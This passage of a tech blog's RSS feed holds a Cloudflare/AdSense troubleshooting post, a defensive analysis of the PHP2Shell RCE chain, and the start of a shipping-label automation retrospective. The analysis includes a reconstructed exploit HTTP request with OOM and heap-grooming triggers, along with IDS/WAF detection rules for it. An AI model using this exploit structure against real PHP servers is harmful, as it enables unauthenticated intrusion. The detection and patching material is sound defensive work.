Every time Googlebot crawled `https://dbgmy.life`, the page's `<link rel="canonical">` and `robots.txt` declared:

```text
# Previous output of https://dbgmy.life/robots.txt
Host: https://www.dbgmy.life
Sitemap: https://www.dbgmy.life/sitemap.xml
```

To Googlebot, `dbgmy.life` looked like a non-canonical duplicate of `www.dbgmy.life`. Unifying `NEXT_PUBLIC_SITE_URL` and `siteConfig.url` to `https://dbgmy.life` and enforcing a `301 Permanent Redirect` from `www.dbgmy.life/*` to `https://dbgmy.life/:splat` immediately resolved the split identity.

---

## **3. Diagnosis #2: Catching Cloudflare WAF Challenging the Google AdSense Crawler**

Once the canonical domain was unified and `sitemap.xml` was submitted to Google Search Console, Google immediately marked the sitemap as **`Success`**. Yet inside Google AdSense, **`Ads.txt status`** remained stuck on **`Not found`**.

Why would Google Search Console read `sitemap.xml` without issue, while Google AdSense failed to read `ads.txt` on the exact same domain?

To find out what happened when Google AdSense tried to fetch my site, I queried Cloudflare's **`firewallEventsAdaptive` GraphQL dataset** for the last 7 days. Right at the top of the log was the smoking gun:

```json
{
  "firewallEventsAdaptive": [
    {
      "action": "managed_challenge",
      "clientAsn": "15169",
      "clientCountryName": "US",
      "clientIP": "66.249.80.39",
      "clientRequestHTTPHost": "dbgmy.life",
      "clientRequestPath": "/",
      "datetime": "2026-10-22T14:46:24Z",
      "source": "botFight",
      "userAgent": "Mozilla/5.0 (Linux; Android 4.0.4; Galaxy Nexus Build/IMM76B) ... (KHTML, like Gecko; GoogleAdSenseInfeed) ..."
    },
    {
      "action": "block",
      "clientAsn": "15169",
      "clientCountryName": "US",
      "clientIP": "66.249.64.33",
      "clientRequestHTTPHost": "dbgmy.life",
      "clientRequestPath": "/blog/homeassistant-wallpad-rs485-bento-ui",
      "datetime": "2026-10-22T10:23:34Z",
      "source": "firewallManaged",
      "userAgent": "Mozilla/5.0 ... (compatible; GoogleOther)"
    }
  ]
}
```

Look closely at those two firewall events:
1. When Google's official AdSense crawler (**`GoogleAdSenseInfeed`**, originating from Google LLC `ASN 15169`, IP `66.249.80.39`) visited `dbgmy.life` right after I requested a check in the AdSense console, **Cloudflare's `Bot Fight Mode` (`source: "botFight"`) intercepted it and served a `managed_challenge` (an interactive Turnstile CAPTCHA)!**
2. Simultaneously, Cloudflare's **`AI Bot Policy` (`source: "firewallManaged"`)** classified Google's secondary crawler (**`GoogleOther`**, `66.249.64.33`) under AI training bots and issued a hard **`block` (`HTTP 403 Forbidden`)**!

Because an automated crawler cannot solve an interactive CAPTCHA challenge, Google AdSense received a `403` HTML challenge page instead of my site and `ads.txt`.

---

## **4. Two Infamous Cloudflare WAF Traps to Avoid**

While reconfiguring Cloudflare to let Google's crawlers through, I encountered two subtle traps that trip up many site operators:

### Trap #1: "Can I Leave Free `Bot Fight Mode` ON If I Create a WAF `Skip` Rule?" (❌ No!)
It is natural to assume that creating a Custom WAF Rule (`URI Path equals /ads.txt OR AS Num equals 15169 -> Action: Skip`) will allow you to keep Cloudflare's free **Bot Fight Mode** enabled.

**It will not.** According to Cloudflare's execution order, Custom WAF `Skip` rules can bypass *Super Bot Fight Mode* (available on Pro/Business plans), but **they cannot bypass the Free plan's `Bot Fight Mode` (`botFight`)**. If Free `Bot Fight Mode` is switched on, it will continue to challenge `GoogleAdSenseInfeed` and social preview scrapers regardless of your WAF rules.
Moreover, because a Next.js static export (`output: 'export'`) on Cloudflare Pages serves pre-rendered static HTML directly from the edge with zero origin database or compute costs, **turning `Bot Fight Mode` OFF** has zero downside and eliminates false-positive crawler blocks.

### Trap #2: Fixing `skip action parameters 'phase' and 'ruleset' cannot be used together`
When configuring a WAF Custom Rule with the `Skip` action in the Cloudflare dashboard and checking every available box, the UI throws a cryptic validation error:

```text
Rule validation failed:
skip action parameters 'phase' and 'ruleset' cannot be used together
```

This happens because the Cloudflare UI displays both modern phase-level checkboxes and legacy ruleset checkboxes in the same list. To save the rule cleanly, uncheck these three duplicate items:
- ❌ Uncheck `All remaining custom rules in this phase` (duplicates *All remaining custom rules*)
- ❌ Uncheck `Rate limiting rules (Previous version)` (duplicates *All rate limiting rules*)
- ❌ Uncheck `Managed rules (Previous version)` (duplicates *All managed rules*)

After disabling `Bot Fight Mode`, allowing crawlers in the AI Bot Policy, and deploying the WAF `Skip` rule, testing with Google's exact User-Agents returned `200 OK` across the board:

```bash
$ curl -s -o /dev/null -w "ads.txt: %{http_code} | Home: %{http_code}\n" \
  -A "Mediapartners-Google" https://dbgmy.life/ads.txt https://dbgmy.life/
ads.txt: 200 | Home: 200
```

---

## **5. Three Code-Level Next.js 15 Fixes for SEO & Clean AdSense Integration**

With the Cloudflare perimeter cleared, I addressed three architectural issues inside the Next.js codebase itself.

### ① Defeating the 'Thin Content' Trap (`noindex, follow` on Tag Pages)
During `npm run build`, Next.js reported `Generating static pages (130/130)`.
Even though the blog had only 16 full-length articles (8 Korean + 8 English), each post had 5–8 tags, causing Next.js to generate **over 90 `/tags/[tag]` and `/en/tags/[tag]` pages**—most of which listed only a single post.

When Google AdSense evaluates a site where 80% of the indexed URLs are near-empty tag archive pages, it frequently rejects the site for **"Low Value Content" (Thin Content)**.
To ensure search engines and AdSense reviewers evaluate only substantive articles, I added `robots: { index: false, follow: true }` to all tag and search pages and removed them from `sitemap.ts`:

```typescript
// src/app/en/tags/[tag]/page.tsx
export async function generateMetadata({ params }: Props): Promise<Metadata> {
  const { tag } = await params;
  const decodedTag = decodeURIComponent(tag).replace(/-/g, " ");

  return {
    title: `#${decodedTag} - Debugging My Life`,
    robots: {
      index: false, // Exclude thin tag archives from search index & AdSense review
      follow: true, // Allow crawlers to follow internal links to full articles
    },
  };
}
```

### ② Server-Rendering JSON-LD Structured Data into Static HTML
Previously, `JsonLdSchema.tsx` was marked with `"use client"` and injected schema markup via `<Script strategy="afterInteractive">`. Because static HTML files generated by `next build` did not contain the `<script type="application/ld+json">` tag until client hydration, crawlers that do not execute JavaScript missed the structured metadata entirely. Removing `"use client"` and rendering a standard server-side `<script type="application/ld+json">` embedded the full `BlogPosting` schema directly into every static `.html` file.

### ③ Replacing Intrusive Auto Ads with a Clean Bottom-of-Post `AdSenseUnit`
Briefly enabling AdSense **Auto Ads** was a visual disaster: Google injected sticky anchor banners and random display boxes right between code blocks, ruining the blog's clean dark-mode aesthetic.

I immediately turned Auto Ads off and created a dedicated **`AdSenseUnit` component** placed exclusively at the very bottom of each article (right above Related Posts and Comments). Using Tailwind's `has-[ins[data-ad-status=unfilled]]:hidden` selector and a global CSS rule, the container automatically collapses to zero height whenever an ad slot is unfilled:

```tsx
// src/components/blog/AdSenseUnit.tsx
"use client";

import { useEffect, useRef } from "react";
import { usePathname } from "next/navigation";

export function AdSenseUnit({ slot }: { slot: string }) {
  const pathname = usePathname();
  const adRef = useRef<HTMLModElement>(null);

  useEffect(() => {
    const el = adRef.current;
    if (!el || el.getAttribute("data-adsbygoogle-status")) return;
    try {
      (window.adsbygoogle = window.adsbygoogle || []).push({});
    } catch (err) {
      console.error("AdSense push error:", err);
    }
  }, [pathname]);

  return (
    <div className="my-6 sm:my-8 w-full overflow-hidden rounded-lg border border-border/30 bg-card/30 px-2 py-2 empty:hidden has-[ins[data-ad-status=unfilled]]:hidden">
      <div className="mb-1 text-center font-mono text-[10px] tracking-widest text-muted-foreground/50 uppercase">
        Sponsored
      </div>
      <ins
        ref={adRef}
        className="adsbygoogle"
        style={{ display: "block", textAlign: "center" }}
        data-ad-layout="in-article"
        data-ad-format="fluid"
        data-ad-client="ca-pub-XXXXXXXXXXXXXXXX"
        data-ad-slot={slot}
      />
    </div>
  );
}
```

---

## **Conclusion: Debug SEO with Logs, Not Guesswork**

When search indexing stalls or AdSense claims it cannot find your `ads.txt` file, conventional forum advice usually boils down to *"just wait a few weeks."*
Had I not queried Cloudflare's `firewallEventsAdaptive` logs directly, I never would have realized that Cloudflare's own `Bot Fight Mode` was throwing CAPTCHAs at `GoogleAdSenseInfeed` every time Google tried to verify my domain.

If you are hosting a Next.js static blog on Cloudflare Pages and wondering why search crawlers or AdSense bots are struggling to reach your content, check your **Cloudflare Security Events** and **Bot Fight Mode** settings first—your firewall might be locking out your most important visitors.
]]></content:encoded>
            <enclosure url="https://dbgmy.life/images/blog/cloudflare-seo-adsense-troubleshooting.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Deep Dive into PHP2Shell (CVE-2026-109618 & 109619): From Packet Anatomy to WAF & Suricata Detection Rules]]></title>
            <link>https://dbgmy.life/en/blog/php2shell-cve-2026-109618-109619-analysis-detection</link>
            <guid isPermaLink="false">https://dbgmy.life/en/blog/php2shell-cve-2026-109618-109619-analysis-detection</guid>
            <pubDate>Thu, 22 Oct 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[An in-depth technical breakdown of the pre-auth RCE vulnerability chain 'PHP2Shell' that hijacks the PHP core engine before application scripts even run—complete with real-world HTTP packet patterns, Suricata/Snort signatures, ModSecurity WAF rules, and SIEM threat hunting strategies.]]></description>
            <content:encoded><![CDATA[
import Image from "next/image";

# **Prologue: Compromised Before a Single Line of Application Code Runs**

<Image
  src="/images/blog/php2shell-cve-analysis.png"
  alt="PHP2Shell CVE-2026-109618 CVE-2026-109619 Packet Analysis and Detection"
  width={1200}
  height={675}
  className="rounded-lg mx-auto my-8 border border-primary/20 shadow-lg shadow-primary/10"
  priority
/>

On October 20, 2026, technical details and initial proof-of-concept (PoC) exploit code for a devastating vulnerability pair leaked online ahead of the scheduled patch window, sending shockwaves across global infrastructure teams. The very next day, October 21, the PHP development team released emergency out-of-band security updates addressing what the security community now calls **‘PHP2Shell’ (`CVE-2026-109618` and `CVE-2026-109619`)**.

Why has this advisory triggered an immediate global scramble across SOC and infrastructure teams?

1. **Unauthenticated Pre-Auth RCE (`CVSS v4.0 9.2 Critical`)**: An external attacker needs zero credentials or session privileges—only crafted HTTP requests directed at an exposed PHP endpoint.
2. **Pre-Script Engine Flaw**: The bug triggers inside the **PHP core engine's HTTP request ingestion phase** *before* a single line of `.php` application code (WordPress, Laravel, Drupal, Magento, etc.) is executed. Application-level authentication middleware and secure coding practices cannot stop it.

In this technical breakdown, we will dissect **how PHP2Shell corrupts memory inside the Zend Engine (Root Cause)**, **what real-world exploit packets look like on the wire**, and **which exact keywords, IDS/IPS signatures (Suricata/Snort), WAF rules, and host log patterns** defenders need to detect and block active attacks.

---

## **1. Root Cause Anatomy: How Two CVEs Chain into Pre-Auth RCE**

`PHP2Shell` is not a single isolated bug. It is an exploit chain combining two distinct memory-safety flaws in PHP's request parsing and error-recovery lifecycle: **`CVE-2026-109618`** and **`CVE-2026-109619`**.

```mermaid
sequenceDiagram
    autonumber
    actor Attacker as Attacker (Unauthenticated)
    participant Worker as PHP Worker Process<br/>(PHP-FPM / mod_php)
    participant RFC1867 as RFC 1867 Parser<br/>(session.upload_progress)
    participant Zend as Zend Engine<br/>(zend_bailout / longjmp)
    participant Script as Web App (.php)

    Note over Attacker,Script: [Phase 1] Exploit Packet #1: OOM Trigger & Pointer Poisoning
    Attacker->>Worker: POST /index.php (multipart/form-data + PHP_SESSION_UPLOAD_PROGRESS)
    Worker->>RFC1867: Begin initializing upload progress tracking struct
    Note right of RFC1867: ⚠️ State flag marked active BEFORE<br/>sub-buffer allocations finish
    Attacker->>RFC1867: Exhaust memory_limit (OOM) via oversized fields/arrays
    RFC1867->>Zend: Fatal error -> zend_bailout() (C longjmp)
    Zend->>RFC1867: Execute abnormal request teardown (Cleanup)
    Note right of Zend: 💥 CVE-2026-109618: Uninitialized pointers treated as valid structs<br/>💥 CVE-2026-109619: Global pointer left dangling (Stale Global State)

    Note over Attacker,Script: [Phase 2] Exploit Packet #2: Cross-Request UAF & Code Execution
    Attacker->>Worker: Follow-up request hits same worker (Heap Spraying)
    Worker->>Zend: Dereference dangling global pointer (Use-After-Free)
    Zend-->>Attacker: 🚨 Hijacked zend_object_handlers invoked ➔ RCE Shell
```

### **1) `CVE-2026-109618`: Uninitialized Memory Corruption on OOM (`longjmp`)**
- **Core Component**: `main/rfc1867.c` (multipart file upload parser) and `session.upload_progress` tracking inside `ext/session/`.
- **The Flaw**: When PHP receives a `multipart/form-data` request, it parses file uploads and session upload progress (`PHP_SESSION_UPLOAD_PROGRESS`) before handing control to the target `.php` script. While initializing the internal upload-tracking structure, **PHP sets the state flag to "initialized/active" *before* all underlying heap allocations (`emalloc`) have completed**, opening a critical race window.
- **The Trigger**: By sending a carefully sized multipart body that hits `memory_limit` (Out-of-Memory) inside that exact window, the attacker forces the Zend Engine to call `zend_bailout()` (which wraps C's `longjmp()`). The emergency cleanup routine then iterates over partially initialized or uninitialized pointers as if they were valid structures, causing **memory corruption**.

### **2) `CVE-2026-109619`: Cross-Request Stale Global State & Use-After-Free (UAF)**
- **Core Component**: SAPI request shutdown (`RSHUTDOWN`) and worker global state management.
- **The Flaw**: In persistent worker architectures like `PHP-FPM` or Apache `mod_php`, a single worker process handles thousands of consecutive HTTP requests. During normal request teardown, global pointers referencing request-scoped memory are reset to `NULL`. However, when aborted mid-parse via the `longjmp()` path above, **the request heap is freed while certain global state pointers fail to reset—leaving behind dangling pointers (Stale Global State)**.
- **The Trigger**: When the attacker immediately sends a second HTTP request that lands on the same worker process and sprays the heap with crafted fake structures (`zend_object` / `zend_object_handlers` vtables), the engine dereferences the stale pointer from the previous request—resulting in a **Cross-Request Use-After-Free** and arbitrary code execution.

---

## **2. Anatomy of an Attack Packet: What Does Malicious Traffic Look Like?**

Public PoC scripts (`php-to-shell.py` variants) and automated scanners currently sweeping the internet generate HTTP POST requests with distinct structural fingerprints.

### **Reconstructed Exploit Packet (Annotated HTTP Request)**

```http
POST /index.php HTTP/1.1
Host: target-server.example.com
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
Cookie: PHPSESSID=p2s_exploit_sess_99182a
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 134215800
Connection: keep-alive

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

RY_HEAP_SPRAY_MARKER_...
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...[Hundreds/Thousands of Bytes]..."
Content-Type: application/octet-stream

[ Finely tuned padding chunks & nested array fields (t[][][]) engineered to hit memory_limit (OOM) ]
------WebKitFormBoundary7MA4YWxkTrZu0gW--
```

### **Four Key Packet Indicators for Defenders**

| Indicator | How It Differs from Legitimate Traffic |
| :--- | :--- |
| **1. `PHP_SESSION_UPLOAD_PROGRESS` Field** | Sent to generic endpoints (`/index.php`, `/wp-login.php`, `/api`) that have nothing to do with file upload progress bars. |
| **2. Unauthenticated `PHPSESSID` + Multipart** | External unauthenticated clients supplying a self-generated `PHPSESSID` cookie alongside a massive `multipart/form-data` POST body to force session upload tracking. |
| **3. Oversized `filename` & Nested Arrays** | `filename="..."` strings exceeding hundreds of bytes or thousands of repeated bracketed fields (`name="t[][][]"`), used for heap grooming and triggering deterministic OOM bailouts. |
| **4. `Keep-Alive` Burst (`500` ➔ `200` Pattern)** | Request #1 triggers an OOM (`HTTP 500` or `HTTP 502` from worker crash), followed milliseconds later over the **same `keep-alive` TCP connection** by Request #2 to hit the poisoned worker. |

---

## **3. Detection & Blocking Strategies: IDS/IPS, WAF, and Log Hunting**

To protect servers prior to patching or to establish Defense-in-Depth visibility, security teams can deploy the following signatures across network sensors, WAFs, and SIEM platforms.

### **1) Network IDS/IPS Signatures: Suricata & Snort Rules**

These rules detect incoming `POST` multipart requests abusing `PHP_SESSION_UPLOAD_PROGRESS` alongside abnormal filename/heap-grooming patterns:

```suricata
# [Rule 1] Detect multipart POST requests exploiting PHP_SESSION_UPLOAD_PROGRESS
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (
    msg:"EXPLOIT-ATTEMPT PHP2Shell Session Upload Progress RCE Vector (CVE-2026-109618 / CVE-2026-109619)";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"multipart/form-data"; http_header;
    content:"PHP_SESSION_UPLOAD_PROGRESS"; http_client_body;
    classtype:web-application-attack;
    reference:cve,2026-109618;
    reference:cve,2026-109619;
    sid:20261096180;
    rev:1;
)

# [Rule 2] Detect PHP2Shell Heap Grooming / OOM Trigger with oversized filename (>=256 bytes)
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (
    msg:"EXPLOIT-ATTEMPT PHP2Shell Oversized Filename OOM Trigger (CVE-2026-109618)";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"multipart/form-data"; http_header;
    content:"PHP_SESSION_UPLOAD_PROGRESS"; http_client_body;
    pcre:"/filename=[\"'][^\"']{256,}[\"']/Pi";
    classtype:web-application-attack;
    sid:20261096181;
    rev:1;
)
```

### **2) Edge WAF Blocking: ModSecurity & Reverse Proxy Mitigation**

Blocking the `PHP_SESSION_UPLOAD_PROGRESS` form field at the reverse proxy or WAF layer stops the primary public exploit vector before the request ever reaches `php-fpm` or `mod_php`:

```apache
# ModSecurity / OWASP CRS Custom Block Rule
SecRule ARGS_POST_NAMES "@streq PHP_SESSION_UPLOAD_PROGRESS" \
    "id:2026109618,\
    phase:2,\
    deny,\
    status:403,\
    log,\
    t:none,\
    msg:'Blocked PHP2Shell RCE Attempt via PHP_SESSION_UPLOAD_PROGRESS (CVE-2026-109618/CVE-2026-109619)'"
```

If you are running an **Nginx reverse proxy** without ModSecurity, strictly cap `client_max_body_size` well below PHP's `memory_limit` (default `128M`) so attackers cannot easily push workers into OOM via single large requests:

```nginx
# Prevent oversized multipart payloads from reaching PHP workers
http {
    client_max_body_size 10M;
}
```

### **3) Host & SIEM Threat Hunting (Log Indicators of Compromise)**

Even over TLS or when attackers mutate their payload wrappers, exploiting `CVE-2026-109618` and `CVE-2026-109619` leaves unmistakable telemetry inside host logs:

1. **PHP Error Log (`/var/log/php*-fpm.log` or `error.log`)**:
   - Keyword: `"Allowed memory size of"` and `"bytes exhausted"`
   - Indicates deliberate OOM induction to trigger `zend_bailout()` / `longjmp()`.
2. **PHP-FPM Master / Kernel Log (`/var/log/syslog`, `dmesg`)**:
   - Keyword: `"exited on signal 11 (SIGSEGV)"` or `"segfault at"`
   - During heap layout brute-forcing, misaligned pointers inevitably crash worker processes with segmentation faults.
3. **Web Access Log (`access.log`) Correlation**:
   - Look for a single source IP generating rapid `POST` bursts that return `500` / `502` status codes followed suddenly by `200 OK`. This sequence strongly suggests a successful heap alignment and RCE execution.

```bash
# Quick Linux one-liner to hunt for PHP2Shell exploitation traces on host logs
grep -E "Allowed memory size of|exited on signal 11|SIGSEGV" /var/log/php*-fpm.log /var/log/syslog /var/log/nginx/error.log 2>/dev/null | tail -n 50
```

---

## **4. Definitive Remediation: Patch Versions & `php.ini` Hardening**

WAF and IDS rules are temporary perimeter shields against known `session.upload_progress` PoCs. The only definitive fix is upgrading the PHP core runtime to the patched releases published on October 21, 2026.

### **1) Official Patched Versions Matrix**

| PHP Branch | Vulnerable Versions | Patched Version (Oct 21, 2026) | Action Required |
| :--- | :--- | :--- | :--- |
| **PHP 8.5** | `8.5.0` – `8.5.11` | **`8.5.12` or higher** | Upgrade immediately |
| **PHP 8.4** | `8.4.0` – `8.4.26` | **`8.4.27` or higher** | Upgrade immediately |
| **PHP 8.3** | `8.3.0` – `8.3.35` | **`8.3.36` or higher** | Upgrade immediately |
| **PHP 8.2** | `8.2.0` – `8.2.34` | **`8.2.35` or higher** | Upgrade immediately |
| **PHP 8.1 & older** | All versions (`5.4` – `8.1`) | **End-of-Life (No Upstream Patch)** | Apply OS vendor backports or migrate to `8.2+` |

> [!WARNING]
> **Always Restart PHP Worker Daemons After Patching!**  
> Upgrading packages via `apt` or `dnf` without restarting `php-fpm` or `httpd` leaves the old, vulnerable binary running in memory. Always run **`systemctl restart php*-fpm`** (or redeploy containers) immediately after updating.

### **2) Emergency `php.ini` Workaround for Unpatched Legacy Servers**

If change-freeze policies or legacy dependencies prevent an immediate PHP version upgrade today, disable the rarely used `session.upload_progress` feature in `php.ini` to shut down the primary pre-script attack surface:

```ini
; Add or modify in /etc/php/{version}/fpm/php.ini, then restart php-fpm
session.upload_progress.enabled = Off
session.upload_progress.cleanup = On
```

---

# **Closing Thoughts: The Blind Spot Beneath the Application Layer**

Organizations often invest heavily in scanning application code for SQL injection, XSS, or vulnerable third-party Composer packages, while treating the underlying **PHP runtime interpreter** as "set and forget" infrastructure.

The **PHP2Shell (`CVE-2026-109618` · `CVE-2026-109619`)** incident is a stark reminder that when the runtime parser itself fails at the `Pre-Script` boundary, every security control built inside the application layer becomes irrelevant. If you manage internet-facing PHP workloads, now is the time to check `php -v` and inspect your FPM worker logs.
]]></content:encoded>
            <enclosure url="https://dbgmy.life/images/blog/php2shell-cve-analysis.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[The Code Succeeded, the Project Failed: A Retrospective on Automating My Wife's E-Commerce Shipping with FastMCP]]></title>
            <link>https://dbgmy.life/en/blog/smartstore-invoice-automation-failure-retrospective</link>
            <guid isPermaLink="false">https://dbgmy.life/en/blog/smartstore-invoice-automation-failure-retrospective</guid>
            <pubDate>Thu, 22 Oct 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[How a hobbyist maker built a zero-click shipping label pipeline using a home NAS, FastMCP, driverless IPP printing, and 0.1mm ReportLab coordinates—only to be defeated by legacy Windows agents and unit economics.]]></description>
            <content:encoded><![CDATA[
import Image from "next/image";

# **Prologue: "Honey, Just Tell the AI to Print Your Shipping Labels!"**

<Image
  src="/images/blog/smartstore-mcp-failure.png"
  alt="SmartStore FastMCP Invoice Automation Failure Retrospective"
  width={1200}
  height={675}
  className="rounded-lg mx-auto my-8 border border-primary/20 shadow-lg shadow-primary/10"
  priority
/>

It all started with a deep sigh from my wife on the living room sofa while she was looking at her MacBook.

She runs a small shop on Naver SmartStore (Korea's largest e-commerce platform for independent sellers). Every time orders came in, she had to endure two recurring headaches:

1. **Forced Reliance on a Windows PC**: Even though she does all her daily work on macOS, printing partnered shipping labels (Korea Post via Goodsflow) required walking into the study and booting up a Windows PC.
2. **The Curse of Misaligned Label Margins**: Whenever she loaded **A4 1×3 split adhesive label sheets (200mm × 93mm)** into our home ink-tank printer and printed from a browser, default browser margins and `Fit to page` scaling caused the second and third labels to drift across the die-cut perforation lines—wasting expensive label sheets.

As a husband who loves tinkering with homelab servers and side projects after work, I couldn't just watch. In my head, a grand, over-engineered architecture was already taking shape.

> *"Honey, you won't even need to sit at a computer or click a mouse anymore. Just tell Gemini or Antigravity from the couch: **'Print all of today's shipping labels.'** Our home NAS will fetch the orders and fire them straight to the printer with 0.1mm precision!"*

Let me start with the conclusion: **Technically, the system worked like magic. Practically, the project was a complete failure and had to be shelved.**

This post isn't a victory lap. It is an honest retrospective on how technical idealism collided head-on with **legacy e-commerce lock-in** and **the cold math of unit economics**.

---

## **1. Technical Breakthroughs: No Raspberry Pi, No Drivers Needed (The High-Speed Phase)**

When I first sketched the architecture, momentum was entirely on my side. My design principle was simple: **"Keep my wife's UX to a single natural-language sentence; let our home NAS server absorb 100% of the backend complexity."**

### **1) Dissecting the Network Printer & Discovering IPP Everywhere**

Initially, I considered pulling a Raspberry Pi out of a drawer to act as a USB CUPS print server. Before doing that, I decided to probe the network ports on our home ink-tank printer (`192.168.1.XXX`), which was already connected to our Wi-Fi.

```bash
# Probing standard network printing ports
nc -zv -w 2 192.168.1.XXX 9100 631
# Connection to 192.168.1.XXX port 9100 [tcp/hp-pdl-datastr] succeeded!
# Connection to 192.168.1.XXX port 631 [tcp/ipp] succeeded!

# Querying IPP (Internet Printing Protocol) attributes
ipptool -tv ipp://192.168.1.XXX:631/ipp/print get-printer-attributes.test
```

Jackpot. The printer natively supported `AirPrint 2.1` and **`IPP Everywhere`**. I could even query real-time ink tank levels (80% Black, 90% Color) directly over IPP.

That meant no Raspberry Pi was needed, nor did I need to install proprietary manufacturer drivers on the NAS. A lightweight Linux Docker container could stream PDFs directly to port 631 using standard IPP commands.

### **2) Zero-Drift 0.1mm Precision with a ReportLab Absolute Coordinate Engine**

The root cause of my wife's second headache—drifting labels on **A4 1×3 split sheets (`200mm × 93mm`)**—was also clear. Printing from a browser or standard PDF viewer silently applies default margins (~12.7mm) and auto-scaling (`94–97%`), shifting the layout away from the physical 93mm die-cut lines.

To eliminate browser distortion entirely, I wrote a custom rendering engine (`printer.py`) using Python's `ReportLab` that draws directly onto an **absolute millimeter coordinate system**:

- **Paper Size**: A4 (`210mm × 297mm`)
- **Label Slot Size**: `200mm × 93mm` (3 slots vertically = `279mm` total height)
- **Exact Margins**: Left/Right `5mm`, Top/Bottom `9mm`

```python
from reportlab.lib.pagesizes import A4
from reportlab.lib.units import mm
from reportlab.pdfgen import canvas
from reportlab.graphics.barcode import code128

# Physical label geometry constants (0.1mm precision)
LABEL_WIDTH = 200 * mm
LABEL_HEIGHT = 93 * mm
LEFT_MARGIN = 5 * mm
BOTTOM_MARGIN = 9 * mm  # A4(297mm) - 3 slots(279mm) = 9mm top & bottom

def render_slot(c: canvas.Canvas, slot: int, order: dict):
    # ReportLab's Y-axis origin (0) is at the bottom of the page
    # slot 1 (Top) -> idx 2, slot 2 (Middle) -> idx 1, slot 3 (Bottom) -> idx 0
    slot_idx = 3 - slot
    y_bottom = BOTTOM_MARGIN + (slot_idx * LABEL_HEIGHT)
    
    # Draw slot boundary & Code128 shipping barcode
    c.rect(LEFT_MARGIN, y_bottom, LABEL_WIDTH, LABEL_HEIGHT)
    barcode = code128.Code128(order["tracking_no"].replace("-", ""), barWidth=1.35, barHeight=35)
    barcode.drawOn(c, LEFT_MARGIN + 124 * mm, y_bottom + 58 * mm)
```

When dispatching the print job over IPP, I forced **`fit-to-page=false`** and **`scaling=100`**:

```python
ipp_cmd = [
    "lp", "-h", f"{self.printer_ip}:631", "-d", "ipp/print",
    "-o", "PageSize=A4",
    "-o", "fit-to-page=false",
    "-o", "scaling=100",
    pdf_path
]
```

When I fired the first test print, the printer whirred to life and fed out a sheet. Holding the printed paper against the light over a real 1×3 label sheet, **all three slots aligned with the perforated die-cut lines down to 0.1mm**. I even added a `print_single_label(slot=2)` tool so that if she had a partially used sheet with only the middle sticker left, she could tell the AI: *"Print this single label on slot 2."*

### **3) Wrapping It All in a FastMCP Server**

Next, I wrapped the engine into an SSE-based **FastMCP (Model Context Protocol)** server (`server.py`) packaged as a Docker container on our home NAS.

```mermaid
flowchart LR
    subgraph Client["Natural Language UX"]
        Wife["Wife (Gemini / Antigravity)"]
    end

    subgraph NAS["Home NAS (Docker Container)"]
        MCP["FastMCP SSE Server (:8000)"]
        Engine["ReportLab 1x3 Coordinate Engine"]
        IPP["CUPS IPP Client (scaling=100)"]
    end

    subgraph LAN["Home LAN (192.168.1.X)"]
        Printer["Network Printer (:631)"]
    end

    Wife -->|"Print today's shipping labels"| MCP
    MCP --> Engine
    Engine --> IPP
    IPP -->|"Driverless Direct IPP"| Printer
```

At this point, I felt invincible. I thought I was 99% done. **Then I tried to connect it to the real-world Korean e-commerce ecosystem.**

---

## **2. Wall #1: Closed APIs and the Ghost of ActiveX (Local `.exe` Agents)**

With the physical printing pipeline perfected, it was time to replace the mock order data with live **Naver Commerce API** and **Goodsflow** tracking number issuance. That was where I hit the first brick wall.

### **1) Naver Commerce API Cannot Issue Tracking Numbers**

Reading through the official Naver Commerce API documentation (`apicenter.commerce.naver.com`), implementing `bcrypt`-signed OAuth2 authentication and fetching unshipped orders was straightforward. However, there was no endpoint anywhere to **issue (generate) a new partnered shipping tracking number**.

Inspecting the shipment dispatch API (`POST /v1/pay-order/seller/product-orders/dispatch`) revealed why:

```json
{
  "deliveryMethod": "GDFW_ISSUE_SVC",
  "deliveryCompanyCode": "EPOST",
  "trackingNumber": "681234567890" // ⚠️ Required! Must already be issued externally
}
```

Naver's API only accepts an *already-issued* tracking number to flip the order status to "Shipping." The actual issuance of partnered tracking numbers is delegated entirely to **Goodsflow**.

### **2) The Paywall and Architectural Irony of Goodsflow's Open API**

*"Fine,"* I thought, *"I'll just call the Goodsflow API directly."* Then I opened the Goodsflow Developers documentation and rubbed my eyes:

1. **Enterprise-Only Tier + 220,000 KRW Setup Fee**: Individual small-business sellers cannot use the Open API. Access is restricted to the Enterprise plan, which requires a **one-time setup fee of 220,000 KRW (~$165 USD)** plus recurring monthly fees.
2. **Even the API Still Requires a Windows Agent**: Worse yet, calling their label issuance API (`PUT /api/deliveries/shipping/print-uri`) does not return a raw PDF binary or ZPL stream. It returns a `print-uri`—a URL for a web popup. And when that popup opens in a browser, it communicates over `localhost` with a **Windows-only `.exe` local background agent** to talk to the printer.

### **3) Why Does Korean Small-Business Logistics Still Force Windows in 2026?**

Closing the documentation tab, I had to pause and ask: *Why is this built like this in 2026?*

The answer is what Korean engineers call **"the ghost of ActiveX."**

- Years ago, when South Korea officially phased out Microsoft ActiveX plugins from banking and e-commerce websites, many legacy vendors didn't modernize to pure web standards. Instead, they replaced ActiveX controls with **local `.exe` background executables** that listen on `localhost` ports and invoke Windows `Win32 Spooler APIs` directly.
- Global platforms like **Shopify** or modern fulfillment startups generate standard 4×6-inch PDFs or ZPL (Zebra Programming Language) streams in the cloud, letting sellers print from a MacBook, iPad, or Chromebook without installing a single binary.
- In contrast, a single middleware provider holds over 90% of the domestic open-market shipping integration market, and because 95%+ of traditional warehouse PCs run Windows, there has been zero market incentive to support macOS or pure cloud-rendered PDFs for small sellers.

---

## **3. Wall #2: Bypassing via Korea Post's Public Open API—and the Unit Economics Knockout**

